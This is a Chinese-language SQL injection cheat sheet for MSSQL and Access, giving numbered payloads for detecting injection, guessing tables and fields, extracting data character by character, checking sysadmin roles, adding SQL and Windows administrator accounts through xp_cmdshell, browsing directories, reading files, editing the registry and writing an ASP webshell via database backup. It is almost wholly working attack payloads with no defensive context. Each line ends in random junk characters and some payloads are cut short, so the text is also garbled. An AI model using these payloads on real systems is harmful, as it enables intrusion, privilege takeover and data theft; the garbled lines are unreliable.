1.判断是否有注入;and 1=1 ;and 1=2 w9O!L9 6
2.初步判断是否是mssql ;and user>0 d"Wuu1tEY
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3.注入参数是字符'and [查询条件] and ''=' YG8)`XqC
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' #M+_Lk3
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5.判断数据库系统 H270)Cwn+
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;and (select count(*) from sysobjects)>0 mssql 4gNN "
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;and (select count(*) from msysobjects)>0 access z,2*3Be6V
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 r)K5<[\r
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 8"-=+w.CZ
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ~w|h;*Bj
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9.(1)猜字段的ascii值(access) yG7H>LF?8
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 z9g6%RbwX
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(2)猜字段的ascii值(mssql) SBs! 52
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 M6^
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10.测试权限结构(mssql) \@N~{72:k
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- y,ub*-:
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- N}ND()bf
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- .s!0S-RkC
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- gTOx|bx
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- "e8EA!Ipte
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- oSkQ/5hg.
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;and 1=(select IS_MEMBER('db_owner'));-- r Dlu&
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11.添加mssql和系统的帐户 C<I?4WM
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;exec master.dbo.sp_addlogin username;-- d^!k{Qx'
;exec master.dbo.sp_password null,username,password;-- I}0? d
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- _5~|z$GW
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;exec master.dbo.xp_cmdshell 'net user username password ZeU){CB
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ecoI-@CAI
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- YGLq~A
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- i$@xb_
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12.(1)遍历目录 UXdc'i g
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;create table dirs(paths varchar(100), id int) zuW4gJ
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;insert dirs exec master.dbo.xp_dirtree 'c:\' X';qcn_^
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;and (select top 1 paths from dirs)>0 jQ%1lQ#R)
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) C,W_0=!e
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(2)遍历目录 :/szA?:W
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3'` &D/n
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 "#7Q}d!x
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 !-470J
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 eLORG(;h4
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 xZ;eV76
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13.mssql中的存储过程 U+ik& R#
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xp_regenumvalues 注册表根键, 子键 jLI1Ed
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 a6./;OC
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xp_regread 根键,子键,键值名 tugIOA
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;exec xp_regread Cy6!?Mik
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 mH ju$d
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xp_regwrite 根键,子键, 值名, 值类型, 值 9=]HOUn
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 sfw*_}y
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xp_regdeletevalue 根键,子键,值名 3MHpP5C
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 R$
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 <5pNFj}0;X
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14.mssql的backup创建webshell x/M$_E<G
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use model =UK:83R(
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create table cmd(str image); '*rS,y
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insert into cmd(str) values (''); Tb?X KO,
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backup database model to disk='c:\l.asp'; KNQj U-A
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15.mssql内置函数 cRr3!<EZ
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;and (select @@version)>0 获得Windows的版本号 %gFIu.c
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa e#h&Xa
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;and (select user_name())>0 爆当前系统的连接用户 JB'tc!!*
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;and (select db_name())>0 得到当前连接的数据库 9H4"=!AAgD
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16.简洁的webshell :'ZR!w
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use model R+uZi~
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create table cmd(str image); LsIZeL^
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insert into cmd(str) values (''); }DjVZ48
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backup database model to disk='g:\wwwtest\l.asp';